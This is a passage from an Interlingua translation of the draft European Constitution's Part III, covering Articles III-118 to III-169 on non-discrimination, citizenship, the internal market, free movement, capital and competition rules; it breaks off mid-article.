human.ARTICULO III-118\nIn le definition e execution del politicas e actiones mentionate in le presente Parte, le Union tenta luctar contra tote discrimination fundate super le sexo, le racia o le origine ethnic, le religion o le convictiones, un handicap, le etate o le orientation sexual.ARTICULO III-119\nLe exigentias del protection del ambiente debe esser integrate in le definition e in le realisation del politicas e actiones mentionate in le presente Parte, in particular a fin de promover un disveloppamento durabile.ARTICULO III-120\nLe exigentias del protection del consumitores es considerate in le definition e le realisation de altere politicas e actiones del Union.ARTICULO III-121\nQuando le Union e le Statos membros defini e executa le politica del Union in le dominios del agricultura, del pisca, del transportos, del mercato interior, del recerca e disveloppamento technologic, e del spatio, illos considera plenmente le exigentias del benesser del animales como esseres sensibile, e simultaneemente respecta le dispositiones legislative e administrative e le usages del Statos membros, in particular le ritos religiose, le traditiones cultural e le patrimonios regional.ARTICULO III-122\nSin prejudicio del articulos I-5, III-116, III-167 e III-238, e viste le loco que occupa le servicios economic general, como servicios al quales in le Union totes attribue un grande valor, assi como le rolo que illos joca in le promotion del cohesion social e territorial del Union, le Union e su Statos membros, conformemente con lor competentias respective e in le campo de application del Constitution, velia que iste servicios functiona super le principios e sub le conditiones, economic e financiari in particular, que los permitte complir lor cargas. Iste principios e conditiones es definite per leges europee, sin prejudicio del competentias del Statos membros, intra le respecto del Constitution pro prestar, incargar e financiar iste servicios.\nTITULO II\nNON-DISCRIMINATION E CITATANITATE\nARTICULO III-123\nLe lege o lege-quadro europee pote regular le prohibition del discriminationes facite a causa del nationalitate mentionate in le articulo I-4(2).ARTICULO III-124\n1. Sin prejudicio del altere dispositiones del Constitution e intra le limites del competentias attribuite per le Constitution al Union, un lege o lege-quadro europee del Consilio pote establir le mesuras necessari pro luctar contra tote discrimination fundate super le sexo, le racia o le origine ethnic, le religion o le convictiones, un handicap, le etate o le orientation sexual. Le Consilio decide per unanimitate post approbation del Parlamento Europee.\n2. Nonobstante lo que es disponite in le paragrapho 1, le lege o le lege-quadro europee pote establir le principios basic del mesuras de stimulo del Union e definir iste mesuras pro appoiar le actiones interprendite per le Statos membros, con le scopo de contribuer al realisation del objectivos mentionate in le paragrapho 1, con exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros.ARTICULO III-125\n1. Si un action del Union pare necessari pro facilitar le exercitio del derecto, mentionate in le articulo I-10(2)(a), de libere circulation e libere residentia pro tote citatano del Union, e salvo si le Constitution ha previdite poteres de action pro tal effecto, un lege o lege-quadro europee del Consilio pote establir mesuras pro iste fin.\n2. Con le mesme scopos como istes mentionate in le paragrapho 1 e salvo si le Constitution ha previdite poteres de action pro tal effecto, un lege o un lege-quadro europee del Consilio pote establir mesuras concernente le passaportos, le documentos de identitate, le permissos de residentia o qualcunque altere documento similar, assi como mesuras concernente le securitate social o le protection social. Le Consilio decide per unanimitate, post consultation del Parlamento Europee.ARTICULO III-126\nUn lege o lege-quadro europee del Consilio establi le modalitates pro le exercitio del derecto, mentionate in le articulo I-10(2)(b), de voto e de eligibilitate in le electiones municipal e in le electiones al Parlamento Europee pro tote citatano del Union in le Stato membro in le qual ille reside sin esser citatano de iste Stato. Le Consilio decide per unanimitate, post consultation del Parlamento Europee. Iste modalitates pote establir exceptiones derogatori, quando problemas specific de un Stato membro lo justifica. Le derecto de voto e de eligibilitate in le electiones al Parlamento Europee se exerce sin prejudicio del articulo III-330(1), e del mesuras prendite pro su application.ARTICULO III-127\nLe Statos membros prende le dispositiones necessari pro garantir le protection diplomatic e consular del citatanos del Union in tertie paises, mentionate in le articulo I-10(2)(c). Le Statos membros realisa le negotiationes international requirite pro garantir iste protection. Un lege europee del Consilio pote establir le mesuras necessari pro facilitar iste protection. Le Consilio prende decision post consultation del Parlamento Europee.ARTICULO III-128\nLe linguas in le quales tote citatano del Union ha le derecto de diriger se al institutiones o organismos consultative, in virtute del articulo I-10(2)(d), e de reciper un responsa, es illos enumerate in le articulo IV-448(1). Le institutiones e organos mentionate in le articulo I-10(2)(d) es illos mentionate in le articulo I-19(1), secunde alinea, e in le articulos I-30, I-31 e I-32, assi como le Mediator Europee.ARTICULO III-129\nTote le tres annos le Commission reporta al Parlamento Europee, al Consilio e al Committee Economic e Social re le application del dispositiones del articulo I-10 e del presente Titulo. Iste information pondera le disveloppamento del Union.\nSuper iste base, e sin prejudicio del altere dispositiones del Constitution, un lege o lege-quadro europee del Consilio pote completar le derectos mentionate in le articulo I-10. Le Consilio decide per unanimitate, post approbation del Parlamento Europee. Iste lege o lege-quadro solmente entra in vigor post su approbation per le Statos membros in conformitate con lor respective regulas constitutional.\nTITULO III\nPOLITICAS E ACTIONES INTERNE\nCAPITULO I\nMERCATO INTERIOR\nSECTION 1\nESTABLIMENTO E FUNCTIONAMENTO DEL MERCATO INTERIOR\nARTICULO III-130\n1. Le Union adopta le mesuras destinate a establir le mercato interior o a garantir su functionamento, in conformitate con le dispositiones pertinente del Constitution.\n2. Le mercato interior implica un spatio sin frontieras interior, in le qual le libere circulation de mercantias, personas, servicios e capitales es garantite in conformitate con le dispositiones del Constitution.\n3. Le Consilio adopta, per proposition del Commission, le regulamentos o decisiones europee que defini le orientationes e conditiones necessari pro assecurar un progresso equilibrate in le insimul del sectores concernite.\n4. In le momento de formular su propositiones pro le realisation del objectivos mentionate in le paragraphos 1 e 2, le Commission pondera le importantia del effortio que certe economias, presentante nivellos de disveloppamento differente, debe realisar pro le establimento del mercato interior, e illo pote proponer le mesuras appropriate. Si iste mesuras prende le forma de derogationes, illos debe haber un character temporari e perturbar le minus possibile le functionamento del mercato interior.ARTICULO III-131\nLe Statos membros se consulta in vista de adoptar in accordo commun le dispositiones necessari pro evitar que le functionamento del mercato interior es affectate per le dispositiones que un Stato membro pote vider se obligate a adoptar in caso de grave disturbantias interne affectante le ordine public, in caso de guerra o de grave tension international constituente un menacia de guerra, o pro facer fronte al obligationes contrahite pro le mantenimento del pace e del securitate international.ARTICULO III-132\nSi alcunes del mesuras adoptate in le casos mentionate in le articulos III-131 e III-436 ha como effecto falsar le conditiones del concurrentia in le mercato interior, le Commission examina con le Stato membro interessate le conditiones in le quales iste mesuras pote esser adaptate al regulas establite in le Constitution.\nNonobstante le procedura mentionate in le articulos III-360 e III-361, le Commission o qualcunque Stato membro pote recurrer directemente al Tribunal de Justitia, si le Commission o qualcunque Stato membro considera que un altere Stato membro abusa del poteres mentionate in le articulos III-131 e III-436. Le Tribunal de Justitia prende decision a porta clause.\nSECTION 2\nLIBERE CIRCULATION DE PERSONAS E DE SERVICIOS\nSubsection 1\nLaboratores\nARTICULO III-133\n1. Le laboratores ha le derecto de circular liberemente intra le Union.\n2. Tote discrimination fundate super le nationalitate, inter le laboratores del Statos membros con respecto al empleo, le remuneration e le altere conditiones de labor, es prohibite.\n3. Sin prejudicio del limitationes justificate per rationes de ordine public, de securitate e de sanitate public, le laboratores ha le derecto de\na) responder a offertas effective de labor;\nb) displaciar se liberemente in le territorio del Statos membros;\nc) resider in un del Statos membros a fin de exercer in illo un empleo, in conformitate con le dispositiones legislative, regulamentari e administrative que rege le empleo del laboratores national;\nd) remaner super le territorio de un Stato membro post haber exercite in illo un empleo, al conditiones mentionate in le regulamentos europee adoptate per le Commission.\n4. Le presente articulo non es applicate al empleos in le administration public.ARTICULO III-134\nLe decisiones necessari pro facer effective le libere circulation del laboratores, tal como illo es definite in le articulo III-18, se establi per leges o leges-quadros europee. Istes es adoptate post consultation del Committee Economic e Social.\nLe leges o leges-quadros europee visa in particular\na) a assecurar un stricte collaboration inter le administrationes national del labor;\nb) a eliminar ille proceduras e practicas administrative, assi como le periodos de accesso al empleos disponibile, que resulta del legislation interne o de accordos concludite anteriormente inter le Statos membros, cuje mantenimento esserea un obstaculo pro le liberalisation del movimentos del laboratores;\nc) a eliminar tote le terminos e altere restrictiones mentionate in le legislationes national o in le accordos concludite anteriormente inter le Statos membros, que impone al laboratores del altere Statos membros altere conditiones que al laboratores national pro le libere election de un empleo;\nd) a establir mechanismos adequate pro poner in contacto le offertas e le demandas de empleo e facilitar lor equilibrio in conditiones que non pone un grave periculo pro le nivello de vita e de empleo in le diverse regiones e industrias.ARTICULO III-135\nLe Statos membros favora, in le quadro de un programma commun, le intercambio de laboratores juvene.ARTICULO III-136\n1. In le dominio del securitate social, le lege o lege-quadro europee establi le mesuras necessari pro realisar le libere circulation del laboratores, in particular per instituer un systema que permitte assecurar al laboratores migrante, salariate e non salariate, e a lor dependentes:\na) le accumulation de tote le periodos prendite in consideration per le varie legislationes national pro acquirer e conservar le derecto al prestationes social, assi como pro le calculo de istes;\nb) le pagamento del prestationes al personas residente in le territorios del Statos membros.\n2. Quando un membro del Consilio considera que un projecto de lege o de lege-quadro europee, mentionate in le paragrapho 1, disservirea aspectos fundamental de su systema de securitate social, como su campo de application, costo o structura financiari, o affectarea le equilibrio financiari de iste systema, ille pote peter que le affaire es remittite al Consilio Europee. In iste caso le procedura mentionate in le articulo III-396 es suspendite. Post discussion, le Consilio Europee in un termino de quatro menses post le suspension debe:\na) devolver le projecto al Consilio, ponente per isto fin al suspension del procedura mentionate in le articulo III-396, o\nb) peter al Commission que illo presenta un nove proposition; in iste caso le acto proponite initialmente es considerate non adoptate.\nSubsection 2\nLibertate de establimento\nARTICULO III-137\nIn le quadro del presente subsection, le restrictiones al libertate de establimento del citatanos de un Stato membro in le territorio de un altere Stato membro es prohibite. Iste prohibition se extende equalmente al restrictiones relative al apertura de agentias, de succursales o de filiales per le citatanos de un Stato membro establite in le territorio de un altere Stato membro.\nLe citatanos de un Stato membro ha le derecto a acceder al activitates non-salariate e de exercer los, assi como de constituer e de gerer interprisas e, specialmente, societates in le senso del articulo III-142(2), sub le conditiones fixate per le legislation del Stato membro de establimento pro su proprie citatanos, sin prejudicio del dispositiones del Section 4 relative al capitales e pagamentos.ARTICULO III-138\n1. Le mesuras pro attinger le libertate de establimento in un determinate activitate se establi per le lege-quadro europee. Illo es adoptate post consultation del Committee Economic e Social.\n2. Le Parlamento Europee, le Consilio e le Commission exerce le functiones que attribue a illos le paragrapho 1, in particular:\na) per occupar se, in general, con prioritate del activitates in le quales le libertate de establimento constitue un contribution particularmente utile al disveloppamento del production e del intercambios;\nb) per assecurar un stricte collaboration inter le administrationes national competente a fin de cognoscer le situationes particular, intra le Union, del diverse activitates affectate;\nc) per eliminar ille proceduras e practicas administrative que resulta del legislation national o de accordos concludite anteriormente inter le Statos membros, cuje mantenimento esserea un obstaculo pro le libertate de establimento;\nd) per surveliar que le laboratores salariate de un del Statos membros, empleate in le territorio de un altere Stato membro, pote permaner in iste territorio pro interprender un activitate non-salariate, quando illes satisface le conditiones que illes deberea satisfacer, si illes entrava in iste Stato in le momento de voler initiar iste activitate;\ne) per facer possibile le acquisition e le profito de proprietates immobile situate in le territorio de un Stato membro per un citatano de un altere Stato membro, in le mesura que on non contraveni le principios mentionate in le articulo III-227(2);\nf) per applicar le suppression progressive del restrictiones al libertate de establimento, in cata branca de activitate considerate, de un parte, al conditiones de apertura, in le territorio de un Stato membro, de agentias, de succursales o de filiales e, de altere parte, al conditiones de admission del personal del sede central in le organos de gestion o de controlo de illos;\ng) coordinante le garantias exigite in le Statos membros al societates definite in le articulo III-142(2), pro proteger le interesses de socios e de tertios, in le mesura necessari e in vista de facer le garantias equivalente;\nh) assecurante se que le conditiones pro le establimento non es falsate per adjutas concedite per le Statos membros.ARTICULO III-139\nLe presente subsection non se applica, quanto al Stato membro interessate, al activitates que in iste Stato es relationate, ben que solmente de maniera occasional, con le exercitio del poter public. Le lege o lege-quadro europee pote excluder certe activitates del application del dispositiones del presente subsection.ARTICULO III-140\n1. Le presente subsection e le mesuras adoptate in su virtute non prejudica le applicabilitate del dispositiones legislative, regulamentari e administrative del Statos membros que previde un regime special pro le estranieros e que es justificate per rationes de ordine public, de securitate public e de sanitate public.\n2. Le lege-quadro europee coordina le dispositiones national mentionate in le paragrapho l.ARTICULO III-141\n1. Le lege-quadro europee facilita le accesso al activitates non-salariate e a lor exercitio. Illo visa a:\na) le recognoscentia mutual de diplomas, de certificatos e de altere titulos;\nb) le coordination de dispositiones legislative, regulamentari e administrative del Statos membros relative al accesso a activitates non-salariate e lor exercitio.\n2. Quanto al professiones medic, paramedic e pharmaceutic, le progressive suppression del restrictiones es subordinate al coordination del conditiones exigite pro lor exercitio in le differente Statos membros.ARTICULO III-142\nLe societates constituite in conformitate con le legislation de un Stato membro e cuje sede statutari, lor administration central o lor centro de activitate principal se trova intra le Union es assimilate, pro le application del presente subsection, al personas physic qui es citatanos del Statos membros. Per \"societate se intende le societates de Derecto civil o mercantil, includite le societates cooperative, e le altere personas juridic de Derecto public o private, con exception del societates que non proseque un scopo lucrative.ARTICULO III-143\nLe Statos membros applica al citatanos del altere Statos membros le conducta que es applicate al citatanos, quanto a lor participation financiari in le capital del societates definite in le articulo III-142(2), sin prejudicio del application del altere dispositiones del Constitution.\nSubsection 3\nLibertate de prestation de servicios\nARTICULO III-144\nIn le quadro del presente subsection es prohibite restrictiones al libere prestation de servicios intra le Union pro le citatanos del Statos membros, establite in un Stato membro distincte del Stato del destinatario del prestation. Le lege o lege-quadro europee pote extender le beneficio del dispositiones del presente subsection al prestatores de servicios qui es citatanos de un tertie Stato e establite intra del Union.ARTICULO III-145\nPro servir le scopos del Constitution, es considerate como servicios le prestationes realisate normalmente per pagamento de un remuneration, in le mesura que illos non es regite per le dispositiones relative al libere circulation de mercantias, de capitales e de personas.\nLe servicios comprehende in particular:\na) activitates de character industrial,\nb) activitates de character commercial,\nc) activitates artisanal,\nd) activitates proprie del professiones liberal.\nSin prejudicio del subsection 2 relative al derecto de establimento, pro realisar le prestation de un servicio, le prestator pote exercer temporarimente su activitate in le Stato membro ubi se realisa le prestation, al mesme conditiones que impone ille Stato a su proprie citatanos.ARTICULO III-146\n1. Le libere prestation de servicios, in materia de transportos, es regite per le capitulo III, section 7, relative al transportos.\n2. Le liberalisation del servicios bancari e del assecurantias que es ligate al movimentos de capitales se realisa in harmonia con le liberalisation del circulation de capitales.ARTICULO III-147\n1. Le lege-quadro europee establi le mesuras pro realisar le liberalisation de un servicio determinate. Illo es adoptate post consultation del Committee Economic e Social.\n2. Le lege-quadro europee mentionate in le paragrapho 1 se refere, in general, con prioritate al servicios que de maniera directe influe super le costos de production o cuje liberalisation contribue a facilitar le intercambios de mercantias.ARTICULO III-148\nLe Statos membros se effortia de proceder al liberalisation del servicios plus ample que le liberation exigite in virtute del lege-quadro europee adoptate in application del articulo III-147(1), si lor situation economic general e le situation del sector affectate lo permitte a illos. Le Commission dirige, con iste scopo, recommendationes al Statos membros interessate.ARTICULO III-149\nTanto longe que le restrictiones al libere prestation de servicios non es supprimite, le Statos membros applica iste restrictiones, sin distinction de nationalitate o de residentia, a tote le prestatores de servicios mentionate in le articulo III-144(1).ARTICULO III-150\nLe articulos III-139 a III-142 es applicabile al materias regulate per le presente subsection.\nSECTION 3\nLIBERE CIRCULATION DE MERCANTIAS\nSubsection 1\nUnion doanal\nARTICULO III-151\n1. Le Union include un union doanal que attinge le totalitate del intercambios de mercantias e que implica le prohibition, inter le Statos membros, del derectos de doana de importation e de exportation e de qualcunque taxas de effecto equivalente, assi como le adoption de un tarifa doanal commun in lor relationes con tertie paises.\n2. Le paragrapho 4 e le subsection 3 relative al prohibition de restrictiones quantitative se applica al productos originari del Statos membros e al productos proveniente de tertie paises que es in libere practica in le Statos membros.\n3. Es considerate in libere practica in un Stato membro le productos proveniente de tertie paises pro le quales ha essite facite, in iste Stato membro, le formalitates de importation, e ha essite percipite le derectos de doana e qualcunque altere taxas de effecto equivalente exigibile, e que non ha beneficiate de un devolution total o partial de iste derectos e taxas.\n4. Le derectos de doana de importation e de exportation o de taxas de effecto equivalente es prohibite inter le Statos membros. Iste prohibition se applica equalmente al derectos de doana de character fiscal.\n5. Le Consilio adopta, per proposition del Commission, le regulamentos o decisiones europee que fixa le derectos del tarifa doanal commun.\n6. In le exercitio del functiones que es attribuite a illo in le presente subsection, le Commission se guida per:\na) le necessitate de promover le intercambios commercial inter le Statos membros e tertie paises;\nb) le evolution del conditiones de concurrentia intra le Union, in le mesura in le qual iste evolution ha como effecto le incremento del capacitate competitive del interprisas;\nc) le necessitates de approvisionamento del Union in materias prime e productos semielaborate, veliante non falsar, inter le Statos membros, le conditiones de concurrentia del productos finite;\nd) le necessitate de evitar perturbationes grave in le vita economic del Statos membros e de garantir un disveloppamento rational del production e un expansion del consumo in le Union.\nSubsection 2\nCooperation doanal\nARTICULO III-152\nIntra le limites del campo de application del Constitution, le lege o lege-quadro europee establi mesuras pro reinfortiar le cooperation doanal inter le Statos membros e inter istes e le Commission.\nSubsection 3\nProhibition del restrictiones quantitative\nARTICULO III-153\nLe restrictiones quantitative tanto al importation como al exportation, assi como tote le mesuras de effecto equivalente es prohibite inter le Statos membros.ARTICULO III-154\nLe articulo III-153 non es un obstaculo pro le prohibitiones o restrictiones de importation, de exportation o de transito, justificate per rationes de ordine public, de moralitate public, de securitate public, de protection del sanitate e del vita del personas e del animales o de preservation del vegetales, de protection del patrimonio national artistic, historic o archeologic, o de protection del proprietate industrial e commercial. Nonobstante, iste prohibitiones o restrictiones debe constituer ni un medio de discrimination arbitrari ni un restriction coperite in le commercio inter le Statos membros.ARTICULO III-155\n1. Le Statos membros crea le monopolios national de character economic de tal modo que remane assecurate le exclusion de tote discrimination inter le citatanos del Statos membros concernente le conditiones de approvisionamento e de mercato.\nLe presente articulo se applica a qualcunque organismo per le qual un Stato membro, de jure o de facto, directe- o indirectemente, controla, dirige o influentia sensibilemente le importationes o le exportationes inter le Statos membros. Illo se applica equalmente al monopolios cedite per le Stato a alteres.\n2. Le Statos membros se abstine de qualcunque nove mesura contrari al principios enumerate in le paragrapho 1 o que restringe le portata del articulos relative al prohibition del derectos de doana e del restrictiones quantitative inter le Statos membros.\n3. In le caso de un monopolio de character commercial implicante un regulation destinate a facilitar le commercialisation o a meliorar le rentabilitate del productos agricole, on debe adoptar le mesuras necessari pro assecurar, in le application del presente articulo, garantias equivalente pro le empleo e le nivello de vita del productores interessate.\nSECTION 4\nCAPITALES E PAGAMENTOS\nARTICULO III-156\nIn le quadro del presente section, es prohibite le restrictiones tanto al movimentos de capitales como al pagamentos inter le Statos membros e inter Statos membros e tertie paises.ARTICULO III-157\n1. Le articulo III-156 se intende sin prejudicio del application a tertie paises del restrictiones que existeva le 31 de decembre 1993 in conformitate con le Derecto national o con le Derecto del Union quanto al movimentos de capitales, con destination al tertie paises o proveniente de illos, quando illos implica investimentos directe, includite le investimentos immobiliari, le establimento, le prestation de servicios financiari o le admission de valores in le mercatos del capitales. Quanto al restrictiones existente in virtute del legislationes national de Estonia e Hungaria, le data in question es le 31 de decembre 1999.\n2. Le lege o lege-quadro europee establi mesuras relative al movimentos de capitales, con destination a tertie paises o proveniente de illos, quando illos implica investimentos directe, includite le investimentos immobiliari, le establimento, le prestation de servicios financiari o le admission de valores in le mercato de capitales.\nLe Parlamento Europee e le Consilio de Ministros se effortia pro realisar le objectivo de libere circulation del capitales inter Statos membros e tertie paises in le major grado possibile e sin prejudicio de altere dispositiones del Constitution.\n3. Nonobstante lo que es disponite in le paragrapho 2, solmente per un lege o lege-quadro europee del Consilio de Ministros pote establir le mesuras que constitue un retrocession in le derecto del Union quanto al liberalisation del movimentos de capitales a destination o de provenientia de tertie paises. Le Consilio decide per unanimitate post consultation del Parlamento Europee.ARTICULO III-158\n1. Le articulo III-156 se applica sin prejudicio del derecto del Statos membros a:\na) applicar le dispositiones pertinente de lor legislation fiscal que distingue inter le contribuentes cuje situation differe con respecto a lor loco de residentia o con respecto al locos ubi lor capital es investite;\nb) prender tote le mesuras indispensabile pro impedir le infractiones a lor dispositiones legislative e regulamentari, in particular in materia fiscal e in materia de controlo prudential de establimentos financiari, previder proceduras de declaration del movimentos de capitales pro information administrative o statistic o prender mesuras justificate per rationes ligate al ordine public o al securitate public.\n2. Le presente section non prejudica le possibilitate de applicar restrictiones del derecto de establimento compatibile con le Constitution.\n3. Le mesuras e proceduras mentionate in le paragraphos 1 e 2 non debe constituer ni un medio de descrimination arbitrari ni un restriction coperite del libere circulation de capitales e de pagamentos como lo defini le articulo III-156.\n4. In absentia de un lege o lege-quadro europee mentionate in le articulo III-157(3), le Commission o, in absentia de un decision europee del Commission intra un periodo de tres menses a partir del demanda del Stato membro concernite, le Consilio pote adoptar un decision europee que dispone que le mesuras fiscal restrictive adoptate per un Stato membro con respecto a varie tertie paises debe considerar se compatibile con le Constitution in le mesura in le qual un del objectivos del Union justifica lo e iste mesuras es compatibile con le correcte functionamento del mercato interior. Le Consilio decide per unanimitate post un demanda de un Stato membro.ARTICULO III-159\nQuando in circumstantias exceptional le movimentos de capital con destination de tertie paises o proveniente de illos causa o menacia causar difficultates grave pro le functionamento del union economic e monetari, le Consilio pote adoptar, per proposition del Commission, regulamentos o decisiones europee que institue decisiones de salveguarda con respecto a tertie paises, pro un periodo non superior a sex menses, si iste mesuras es strictemente necessari. Le Commission prende decision post consultation del Banca Central Europee.ARTICULO III-160\nQuando il es necessari pro obtener le objectivos establite in le articulo III-257, in particular al prevention e al lucta contra le terrorismo e al activitates con illos unite, le lege europee defini un quadro de mesuras administrative re movimentos de capitales e pagamentos, como le immobilisation de fundos, de activos financiari o de beneficios economic que pertine a personas physic o juridic, a gruppos o entitates non-statal.\nLe Consilio adopta, per proposition del Commission, regulamentos o decisiones europee a fin de applicar le lege europee mentionate in le paragrapho 1.\nLe actos mentionate in le presente articulo include le dispositiones necessari in materia de.\nSECTION 5\nREGULAS DE CONCURRENTIA\nSubsection 1\nRegulas applicabile al interprisas\nARTICULO III-161\n1. Es incompatibile con le mercato interior e prohibite tote le accordos inter interprisas, tote le decisiones de associationes de interprisas e tote le practicas concertate que pote affectar al commercio inter le Statos membros e que ha pro objecto o pro effecto impedir, restringer o falsificar le joco del concurrentia intra le mercato interior e, in particular, illos que consiste in:\na) fixar directe- o indirectemente le precios de compra o de vendita o de altere conditiones de transaction;\nb) limitar o controlar le production, le mercato, le disveloppamento technic o le investimentos;\nc) distribuer le mercatos o le fontes de approvisionamento;\nd) applicar a partners commercial conditiones inequal pro prestationes equivalente, que occasiona disavantages competitive a iste partners;\ne) subordinar le conclusion de contractos al acceptation, per le partners, de prestationes supplementari que, per lor natura o secundo le usos commercial, non ha alcun relation con le objecto de iste contractos.\n2. Le accordos o decisiones prohibite per le presente articulo es nulle de plen derecto.\n3. Nonobstante, le paragrapho 1 pote esser declarate inapplicabile\n- a qualcunque accordo o categoria de accordos inter interprisas,\n- a qualcunque decision o categoria de decisiones de associationes de interprisas, e\n- a qualcunque practica concertate o categoria de practicas concertate, que contribue a meliorar le production o le distribution del productos o a promover le progresso technic o economic, e reserva al mesme tempore al utilisatores un parte equitabile in le beneficio resultante, e sin:\na) imponer al interprisas interessate restrictiones que non es indispensabile pro obtener iste objectivos;\nb) offerer a iste interprisas le possibilitate, pro un parte substantial del productos concernite, de eliminar le concurrentia.ARTICULO III-162\nEs incompatibile con le mercato interior e prohibite, in le mesura in le qual le commercio inter le Statos membros pote esser affectate per exploitation abusive, le facto pro un o plure interprisas de exploitar de maniera abusive un position dominante in le mercato interior o in un parte substantial de illo. Iste practicas abusive pote consister, particularmente, in:\na) imponer directe- o indirectemente precios de compra, de vendita o de altere conditiones de transaction non-equitabile;\nb) limitar le production, le mercato o le disveloppamento technic in prejudicio del consumitores;\nc) applicar a partners commercial conditiones inequal pro prestationes equivalente, que occasiona a istes un disavantage in le concurrentia;\nd) subordinar le conclusion de contractos al acceptation, per le partners, de prestationes supplementari que, per lor natura o secundo le usos commercial, non ha alcun relation con le objecto de iste contractos.ARTICULO III-163\nLe Consilio adopta, per proposition del Commission, le regulamentos europee pro le application del principios mentionate in le articulos III-161 e III-162. Le Consilio decide post consultation del Parlamento Europee.\nIste regulamentos ha specialmente pro objecto:\na) garantir le observantia del prohibitiones mentionate in le articulo III-161(1) e in le articulo III-162, per le establimento del mulctas e mulctas coercitive;\nb) determinar le modalitates de application del articulo III-161(3), ponderante le necessitate, de un parte, de assecurar un vigilantia efficace e, del altere parte, de simplificar tanto como possibile le controlo administrative;\nc) precisar, eventualmente, in le diverse brancas economic, le campo de application del articulos III-161 e III-162;\nd) definir le rolo respective del Commission e del Tribunal de Justitia del Union Europee in le application del dispositiones establite in le presente paragrapho;\ne) definir le relationes inter le legislationes national, de un parte, e le presente subsection e le regulamentos europee adoptate in application del presente articulo, del altere parte.ARTICULO III-164\nUsque al entrata in vigor del regulamentos europee adoptate in application del articulo III-163, le autoritates del Statos membros prende decisiones re le admissibilitate del accordos, decisiones e practicas concertate e re le exploitation abusive de un position dominante in le mercato interior, in conformitate con lor proprie Derecto interne e, in particular, con le articulo III-161(3), e con le articulo III-162.ARTICULO III-165\n1. Sin prejudicio del articulo III-164, le Commission velia le application del principios mentionate in le articulos III-161 e III-162. Per requesta de un Stato membro o per su proprie initiativa, e in collaboration con le autoritates competente del Statos membros, que lo presta lor assistentia, le Commission investiga le casos de supponite infraction del principios mentionate. Si le Commission constata le existentia de un infraction, illo propone mesuras adequate pro poner fin a illo.\n2. In le caso que on non pone fin a tal infractiones, le Commission adopta un decision europee motivate constatante le infraction al principios. Le Commission pote publicar su decision e autorisar le Statos membros a adoptar le dispositiones necessari, al conditiones e modalitates que le Commission determina, pro remediar a iste situation.\n3. Le Commission pote adoptar regulamentos europee relative al categorias de accordos re le quales le Consilio ha adoptate un regulamento europee, conformemente con le articulo III-163(2)(b).ARTICULO III-166\n1. Le Statos membros non prende ni mantene, concernente le interprisas public e le interprisas al quales illos concede derectos special o exclusive, alcun decision contrari al dispositiones del Constitution, specialmente a illo mentionate in le articulo I-4(2) e in le articulos III-161 a III-169.\n2. Le interprisas incargate del gestion de servicios de interesse economic general o que ha le character de un monopolio fiscal es submittite al dispositiones del Constitution, specialmente al regulas de concurrentia, in le mesura in le qual le application de iste regulas non impedi, de facto o de jure, le complimento del mission specific confidite a illos. Le disveloppamento del intercambios non debe esser affectate in un mesura contrari al interesse del Union.\n3. Le Commission velia le application del presente articulo e adopta, si necessari, le regulamentos o decisiones europee appropriate.\nSubsection 2\nAdjutas accordate per le Statos membros\nARTICULO III-167\n1. Si le Constitution non dispone alteremente, es incompatibile con le mercato interior, in le mesura in le qual illos affecta le intercambios commercial inter le Statos membros, le adjutas concedite per le Statos membros o per medio de fundos statal, sub qualcunque forma, que falsa o menacia falsar le concurrentia, favorante certe interprisas o certe productiones.\n2. Es compatibile con le mercato interior:\na) le adjutas de character social concedite al consumitores individual, a condition que illos es concedite sin discrimination ligate al origine del productos;\nb) le adjutas destinate a reparar le damnos causate per calamitates natural o per altere eventos de character extraordinari;\nc) le adjutas concedite al economia de certe regiones del Republica Federal German, affectate per le division de Germania, in le mesura in le qual illos es necessari pro compensar le disavantages economic causate per iste division. Cinque annos post le entrata in vigor del Tractato establiente un Constitution pro Europa, le Consilio pote, per proposition del Commission, adoptar un decision europee abrogante le puncto presente.\n3. Pote esser considerate compatibile con le mercato interior:\na) le adjutas destinate a favorar le disveloppamento economic de regiones in le quales le nivello de vita sia anormalmente basse o in le quales existe un grave situation de disoccupation, assi como le nivello del regiones mentionate in le articulo III-424, tenite conto de lor situation structural, economic e social;\nb) le adjutas destinate a promover le realisation de un projecto importante de interesse commun europee o destinate a remediar a un grave perturbation in le economia de un Stato membro;\nc) le adjutas destinate a favorar le disveloppamento de certe activitates o certe regiones economic, quando illos non altera le conditiones del intercambios in un mesura contrari al interesse commun;\nd) le adjutas destinate a promover le cultura e le conservation del patrimonio, quando illos non altera le conditiones del intercambios e del concurrentia in le Union in un mesura contrari al interesse commun;\ne) le altere categorias de adjutas determinate per regulamentos o decisiones europee adoptate per le Consilio, per proposition del Commission.ARTICULO III-168\n1. Le Commission examina permanentemente, juncto con le Statos membros, le regimes de adjutas existente in iste Statos. Le Commission propone al Statos membros le mesuras exigite per le disveloppamento progressive o le functionamento del mercato interior.\n2. Si, post haber adjurate le interessatos de presentar lor observationes, le Commission constata que un adjuta concedite per un Stato membro o per fundos statal non es compatibile con le mercato interior in virtute del articulo III-167 o que iste adjuta se applica de maniera abusive, illo adopta un decision europee que ha le objectivo que le Stato interessate lo supprime o modifica in le periodo que le Commission determina.\nSi le Stato in question non se conforma a iste decision in le periodo impartite, le Commission o qualcunque altere Stato membro interessate pote recurrer directemente al Tribunal de Justitia del Union Europee, nonobstante lo que es disponite in le articulos III-360 e III-361.\nPer petition de un Stato membro, le Consilio de Ministros pote adoptar per unanimitate un decision europee secundo le qual, e nonobstante lo que es disponite in le articulo III-167 o in le regulamentos europee mentionate in le articulo III-169, le adjuta que iste Stato ha concedite o va conceder, es considerate compatibile con le mercato interior, quando circumstantias exceptional justifica iste decision.\nSi, quanto a iste adjuta, le Commission ha initiate le procedura mentionate in le presente paragrapho, prime alinea, le petition del Stato membro interessate dirigite al Consilio de Ministros ha pro effecto le suppression de iste procedura usque al momento que le Consilio ha definite su position re le question.\nNonobstante, si le Consilio de Ministros non ha definite su position intra tres menses post le petition, le Commission decide.\n3. Le Commission es informate per le Statos membros, in tempore sufficiente pro presentar su observationes, re projectos tendente a instituer o a modificar adjutas. Si le Commission considera que un projecto non es compatibile con le mercato interior secundo le terminos del articulo III-167, le Commission initia sin demora le procedura mentionate in le paragrapho 2 del presente articulo. Le Stato membro interessate non pote executar le mesuras projectate ante que iste procedura ha terminate in un decision definitive.\n4. Le Commission pote adoptar regulamentos europee relative al categorias de adjutas public que le Consilio de Ministros ha determinate, conformemente con le articulo III-169, secundo le qual illos pote esser exempte del procedura mentionate in le paragrapho 3 del presente articulo.ARTICULO III-169\nLe Consilio pote, per proposition del Commission, adoptar regulamentos europee pro le application del articulos III-167 e III-168 e pro determinar, in particular, le conditiones de application del articulo 